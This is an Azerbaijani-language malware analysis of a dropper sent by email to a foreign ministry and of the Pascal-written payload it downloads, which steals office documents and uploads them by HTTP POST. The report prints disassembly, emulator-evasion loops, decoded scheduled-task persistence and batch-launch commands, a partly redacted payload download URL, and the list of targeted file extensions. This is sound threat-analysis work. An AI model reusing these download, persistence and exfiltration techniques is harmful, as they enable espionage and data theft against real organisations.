Elektron poçt xidməti üzərindən xarici işlər nazirliyinə göndərilən şübhəli (tezis_aze3448.exe) 32 bitlik icra edilə bilən fayl formatında idi.
Zərərli dropperin analizi
Fayl ölçüsü: 46.50 KB (47616 bytes)
Şübhəliyə məxsus import tablosu:
Yuxarıda import tablosunda movcud olan funksiyalar bizə zərərvericinin internet üzərindən fayl endirmək (URLDownloadToFileA) bir digəri isə ehtimal ki bu faylı işə salmaq istəyindən xəbər verirdi. Zərərverici debug rejimde kompilasiya edilmişdi. Bu isə bizə qarşı tərəf haqqında azda olsa məlumat verə bilərdi. Misal olaraq aşağıdakı şəkildə zərərvericinin tərtib edildiyi qovluq haqqında məlumat yer almışdır. (W:\\fm\\dropper\\1.5 project\\Debug\\dropper.pdb)
Şübhəlini ilk olaraq təhlükəsiz mühitdə işə salaraq buradan toplanan loqlar üzərindən analiz prosesini davam etdirdik. Zərərverici ilk olaraq yoluxduğu sistemdə harv.exe adına icra edilə bilən fayl yaradır. Qovluğa diqqət etdikdə sözü gedən faylın URLDownloadToFile funksiyası ilə yaradıldığını anlamaq mümkündür. Zərərverici sözü gedən nüxsəni X.X.130.41 adresindən əldə edirdi.
Növbəti əməliyyat olaraq zərərverici "AppData\\Microsoft\\Spelling" qovluğunda gccFrame.exe adında fayl yaradır və yaradılan edilə bilən faylı sonradan "AppFrame" adı ilə tapşırıq paylayıcısına (Task Scheduler) əlavə etdiyini gördük.
Əsas aktivlikləri analiz etdikdən sonra gözümüzdən qaçan hər hansı bir detalın olmadığınan əmin olmaq üçün son olaraq nüsxənin statik analizinə başladıq.
Dropperin statik analizi
Dropper main funksiyasında ilk olaraq komanda xətti pəncərəsini gizlədir. Bunun üçün FindWindow funksiyası ilə komanda xətti pəncərəsini aşkarlayır və ShowWindow funksiyasının dəstəyi ilə pəncərəni gizlədir.
Bundan sonra zərərverici ehtimal etdiyimiz antivirus təminatlarından (emulyator mühərriki) yayınmaq üçün 2 ədəd əməliyyat icra edirdi.
- Proses yaddaş bögəsində 100000000 baytlıq boş ərazi ayırır və free əmri ilə bu ərazini boşaldır. Daha sonra oxşar əməliyyatı təkrar edərək bu dəfə ayrılan yaddaş ərazisinə 0 dəyərini mənimsədir və free əmri ilə yenidən ərazini təmizləyir.
- Lokal dəyişənə 0 dəyərini mənimsədir və daha sonra for loop ilə bu dəyişəndə olan dəyərin üzərinə 1 əlavə edir. 5F5E100h bərabər olduqda isə əsas əməliyyatları icra etməyə başlayır.
.text:0041266D call ds:malloc
.text:00412673 add esp, 4
.text:00412676 cmp esi, esp
.text:00412678 call ???????
.text:0041267D mov [ebp+Block], eax
.text:00412680 cmp [ebp+Block], 0
.text:00412684 jz loc_412860
.text:0041268A push 5F5E100h ; Size
.text:0041268F push 0 ; Val
.text:00412691 mov eax, [ebp+Block]
.text:00412694 push eax ; void *
.text:00412695 call j_memset
.text:0041269A add esp, 0Ch
.text:0041269D mov esi, esp
.text:0041269F mov eax, [ebp+Block]
.text:004126A2 push eax ; Block
.text:004126A3 call ds:free
Bundan sonra proses mühitindən (process environment) Application Data qovluğunun tam yolunu götür və aşağıdakı şəkildə kodlaşdırır.
import os
>>> os.getenv
>>> e = os.getenv("Appdata")
>>> for i in e:
... print(chr(ord(i) + 2), end="\")
...
E<^Wugtu^cfokp^CrrFcvc^Tqcokpi
Ardınca isə eyni şəkildə proses mühitindən 2 dəfə təkrarlanma ilə Temp qovluğunun yolunu götürür və sonluqlarına NAHDGFBAGGSD.bat və tmpBFGATURP.bat mətnlərini əlavə edir.
- "C:\Users\admin\AppData\Local\Temp\NAHDGFBAGGSD.bat"
- "C:\Users\admin\AppData\Local\Temp\tmpBFGATURP.bat"
Push təlimatı sözü gedən məlumatları stack bölgəsinə yazır və sub_5C12A3 funksiyasını çağırır.
mov eax, ds:off_5C8B30 ; "NAHDGFBAGGSD.bat"
push eax ; Source
lea ecx, [ebp+Destination]
push ecx ; Destination
call j_strcat
add esp, 8
mov eax, ds:off_5C8B34 ; "tmpBFGATURP.bat
push eax ; Source
lea ecx, [ebp+File]
push ecx ; Destination
call j_strcat
add esp, 8
lea eax, [ebp+File]
push eax ; LPCSTR
lea ecx, [ebp+Destination]
push ecx ; lpFileName
call sub_5C12A3 ; Kritik
Bu funksiyanın başlığında öncədən kodlaşdırılmış məlumatlar buferə kopyalanır. Məlumatların necə deşifrə edəcəyimizi bilirik.
push offset Source ; "UEJVCUMU\"1Etgcvg\"1VP\"
lea eax, [ebp+Destination]
push eax ; Destination
call j_strcat
add esp, 8
mov eax, off_41B008 ; "CrrHtcog"
push eax ; Source
lea ecx, [ebp+Destination]
push ecx ; Destination
call j_strcat
add esp, 8
push offset a1vtCrrfcvcOket ; "\\1VT\\$\'crrfcvc\'^Oketquqhv^Urgnnkpi^"
lea eax, [ebp+Destination]
push eax ; Destination
call j_strcat
add esp, 8
mov eax, off_41B004 ; "ieeHtcog0gzg"
push eax ; Source
lea ecx, [ebp+Destination]
push ecx ; Destination
call j_strcat
add esp, 8
push offset a1h1ueQpeg1uv ; \"$\\\"1H\\\"1UE\\\"QPEG\\\"1UV\\\"\"
lea eax, [ebp+Destination]
push eax ; Destination
call j_strcat
Əldə edilən açıq məlumatlardan şifrələnmiş mətnlərin tapşırıq planlayıcısı komanda sətri əmri olduğunu aşkar etdik:
- "SCHTASKS /Create /TN \"
- "AppFrame"
- " /TR "%appdata%\\Microsoft\\Spelling\\""
- "gccFrame.exe"
- '" /F /SC ONCE /ST\""
Bundan sonra zərərverici şifrələnmiş "AppData" qovluğunu deşifrə edərək sonuna "gccFrame.exe" mətnini əlavə edir və LoadLibrary funksiyası ilə URLMON.DLL kitabxanasını yaddaşına yükləyir və növbəti deşifrələmə əməliyyatını "jvvr<xxx::05603520631jctx0gzg" mətni üzərində icra edərək yükləcək faydalı yükün adresini əldə edir ("http://xxx.xx.130.41/harv.exe"). URLDownloadToFile aşağıdakı parametrlər ilə çağrılır.
- szURL = "'http://xxx.xx.130.41/harv.exe"
- szFileName = %appdata%\\Microsoft\\Spelling\\gccFrame.exe
Yükləmədən sonra zərərverici CreateFile funksiyası ilə bir öncəki funksiyadan parametr olaraq qəbul etdiyi "C:\Users\admin\AppData\Local\Temp\NAHDGFBAGGSD.bat" faylını yaradır. Faylın içərisinə deşifrə edilən məlumatı (SCHTASKS /Create /TN AppFrame /TR \"%appdata%\\Microsoft\\Spelling\\gccFrame.exe\" /F /SC ONCE /ST 04:48) yazır.
Son olaraq isə yuxarıdakı NAHDGFBAGGSD.bat skriptini işə salması üçün içərisinə "start /min cmd /c C:\\Users\\admin\\AppData\\Local\\Temp\\NAHDGFBAGGSD.bat" yazılmış tmpBFGATURP.bat faylını yaradır və ShellExecute əmri ilə işə salır.
Faydalı yükün analizi
Analiz prosesinə ilk olaraq PE haqqında qısa məlumat alaraq başladıq. Eyni ilə dropper kimi sistemə endirdiyi faydalı yükdə (payload) 32 bitlik icra edilə bilən fayl idi.
Fayl ölçüsü: 464.87 KB (476030 bytes)
MD5: 66357E47BBC2EC5694E2C5DE9CC3B9C6
SHA-1: CE9DB7DBF3368757C232AA960BBFA7B83278618D
Faylın import tablosunda standart kitabxanalar ilə yanaşı internet ilə bağlı əməliyyatlar aparmaq üçün winhttp və wininet kimi kitabxanalarıda import tablosunda gördük.
winhttp.dll
- WinHttpGetIEProxyConfigForCurrentUser
wininet.dll
- InternetOpenA
- InternetCloseHandle
- InternetConnectA
- InternetReadFile
- InternetSetOptionA
- HttpOpenRequestA
- HttpAddRequestHeadersA
- HttpSendRequestA
PE bölmələrində diqqətimizi çəkən bəzi məqamlar oldu. Bir digər maraqlı məqam isə tərkib kodu faylının, fayl genişlənməsi (*.pas) idi. Bu bizə zərərvericinin "Pascal" dilində yazıldığı haqqında ipucu verirdi.
Zərərverici haqqında qısa məlumat aldıqdan sonra zərərvericini təhlükəsiz mühitdə işə salaraq dinamik olaraq hansı əməliyyatları icra etdiyini görmək istədik. Monitorinq üçün lazım olan alətlərini hazır etdikdən sonra zərərvericini işə saldıq. Ilk olaraq temp qovluğunda update.lg adında fayl yaradaraq içərisində sistem haqqında məlumatları yazır. Dahs sonra appdata\microsoft qovluğunda OneDrive\backup adında yeni bir qovluq yaradır.
Bundan sonra tapşırıq planlayıcı cədvəlindən Longhorn adında tapşırığı silmək üçün schtasks prosesini “/delete /f /tn Longhorn” parametri ilə çağırır.
Hər sistem başladılmasında özünü avtomatik olaraq işə sala bilməsi üçün:
İmport tablosunda internet ile bağlı əməliyyatlar yerinə yetirmək üçün kitabxanaları import etməsinə baxmayaraq işə saldığımız zaman şəbəkə fəaliyyəti ilə bağlı heç bir əməliyyat qeydə almadıq. Lakin bir müddətdən sonra şəbəkədə bəzi aktivliklər müşahidə etdik.
Vaxt damğalarına diqqət yetirdiyimiz zaman sorğuların müəyyən aralıqlar ilə göndərildiyinin şahidi olduq. Zərərverici əməliyyatları müəyyən vaxt aralıqlarında icra edirdi (timeout).
Zərərverici HTTP protokolu üzərindən qarşı tərəfə POST metodu ilə sorğular göndərirdi.
- b64 = məlumatın məzmunu base64 ilə kodlaşdırılan
- n = yüklənəcək faylın adı
- s = vaxt damğası
- t = komputer adı
Məlumatları deşifrə etdikdə
n=20221026192415.log
>>> f = open("data.bin","rb")
>>> data = f.read()
>>> f.close()
>>> import base64
>>> decoded = base64.b64decode(data)
>>> fout = open("decoded.log","wb")
>>> fout.write(decoded)
219
>>> fout.close()
Deşifrə edilən məlumat:
2022-10-26 19:24:15 -> Start session [20221026192415]
2022-10-26 19:24:15 -> -> C:\Users\
2022-10-26 19:24:15 -> -> D:\
2022-10-26 19:24:15 -> Next session in 49 minutes
2022-10-26 19:24:15 -> End
n=2022102618454_0.zip
>>> f = open("data.bin","rb")
>>> data = f.read()
>>> f.close()
>>> import base64
>>> decoded = base64.b64decode(data)
>>> chr(decoded[0]), chr(decoded[1])
('P', 'K')
>>> fout = open("decoded.bin","wb")
>>> fout.write(decoded)
146001
>>> fout.close()
>>> import zipfile
>>> z = zipfile.ZipFile("decoded.bin")
>>> z.namelist()
['~$0.0.filtertrie.intermediate.txt', '~$0.1.filtertrie.intermediate.txt', '~$0.2.filtertrie.intermediate.txt', '~$AppCache133112754268635833.txt', '~$AppCache133112758272534734.txt', '~$brndlog.txt', '~$commithash.txt', '~$Eula.txt', '~$LogFile_October_2_2022__9_43_21.txt', '~$manifest.txt', '~$SettingsCache.txt', '~$ThirdPartyNotices.txt']
Mətn fayllarına baxdığımız zaman tərkibində sistemə aid olan kritik məlumatlar yer alırdı. Zərərverici bu məlumatları ilk olaraq PTH_WORK qovluğu altında topladıqdan sonra bu məlumatları yaradılan arxiv (PKZIP) içərisinə yazır və qarşı tərəfə göndərir. Bütün bu əməliyyatlar zərərvericinin məqsədinin məlumat oğurlamaq olduğu haqqında bizə ipucu verirdi.
Qısa məlumat haqqında bu məlumatları aldıqdan sonra keçdik zərərvericinin kodlarının analizinə. İlk olaraq dropper kimi komanda sətri pəncərəsini gizlədir.
push 0 ; nCmdShow
call __$dll$kernel32$GetConsoleWindow
push eax ; hWnd
call __$dll$user32$ShowWindow ; Hide Window
Daha sonra dropper kimi proses mühitindən GetEnvironmentVariable funksiyası ilə temp qovluğunun tam yolunu götürür və bunu "update.lg" mətni ilə birləşdirir.
lea edx, [ebp+var_4]
mov eax, offset aTemp ; "temp"
call P$ONEDRIVEUPDATE_$$_GE$ANSISTRING$$ANSISTRING ; %temp%
mov edx, [ebp+var_4]
mov eax, offset temp_path
call FPC_ANSISTR_ASSIGN ; assign tmp_path
mov edx, ds:temp_path
mov ecx, offset aUpdate_lg ; "\\update.lg"
lea eax, [ebp+var_8]
call fpc_ansistr_concat ; %temp%\update.lg
Bu əməliyyatdan sonra cari proses yolunu götürdükdən sonra buradan fayl adını ayırır və sistemdə fəaliyyət göstərən proses adları ilə qarşılaşdırır. Əsas məqsəd zərərli proqramın 2 dəfə işə salınmasının (duplicate process) qarşısını almaqdır. Eyni adda proses fəaliyyət göstərər isə özünü sonlandırır.
Növbəti icra edilən əməliyyat GetProcessEnvironment funksiyası ilə COMPUTERNAME dəyərini götürür və bunu ENV_CCN ilə birləşdirərək update.lg faylına yazır.
Daha sonra dXBkYXRlLmRhdA mətnini base64 ilə deşifrə edərək bunu işləmə qovluğu adı ilə birləşdirir.
mov eax, offset aDxbkyxrllmrhda ; dXBkYXRlLmRhdA== > update.dat
call BASE64DECODE
mov ecx, [ebp+var_4]
mov edx, ds:dword_445010 ; Iş qovluğu
mov eax, offset dword_445040
call STR_CONCAT
Özünü növbəti sistem başladılması zamanı avtomatik işə düşməsi üçün P$ONEDRIVEUPDATE_$$_SS$$BOOLEAN funksiyasını çağırır.
gccframe.P$ONEDRIVEUPDATE_$$_SCN
Bu funksiya içərisində ilk olaraq GetLogicalDrives funksiyasını çağrılır (sistemdə olan aktiv disk sürücülərinin siyahısını almaq üçün). Daha sonra əldə edilən disk adlarının sonuna “Users” mətnini əlavə edir. FindFirstFile və FindNextFile funksiyaları ilə (bütün fayl formatlarını (*.*) axtaracaq şəkildə) bu qovluqları rekursiv olaraq gəzir . Daha sonra PathFindExtension funksiyasının köməkliyi ilə fayl uzantılarını götürür və öncədən bəlli fayl uzantıları ilə qarşılaşdırır. Əgər fayl lazım olan uzantıya sahibdirsə, faylı iş qovluğuna appdata\Microsoft\OneDrive\Backup köçürülür.
Axtarılan fayl uzantıları: [ .docx, .doc, .xlsx, .xls, .txt, .pdf ]
Lazım olan faylları topladıqdan sonra zərərverici P$ONEDRIVEUPDATE_$$_ARC funksiyasına müraciət edir. Bu funksiya içərisində backup qovluğunda olan (oğurlanan fayllar) zip arxiv içərisinə toplanır. Son olaraq isə zərərverici P$ONEDRIVEUPDATE_$$_LOG_SND
funksiyasını çağırır və toplanan məlumatları POST metodu ilə qarşı tərəfə göndərilir.
Indicators of Compromise
0AD6C462D651C9435F204E33E93DC1A2
8FFF825211374C23AF32CE606966924C5E7E9064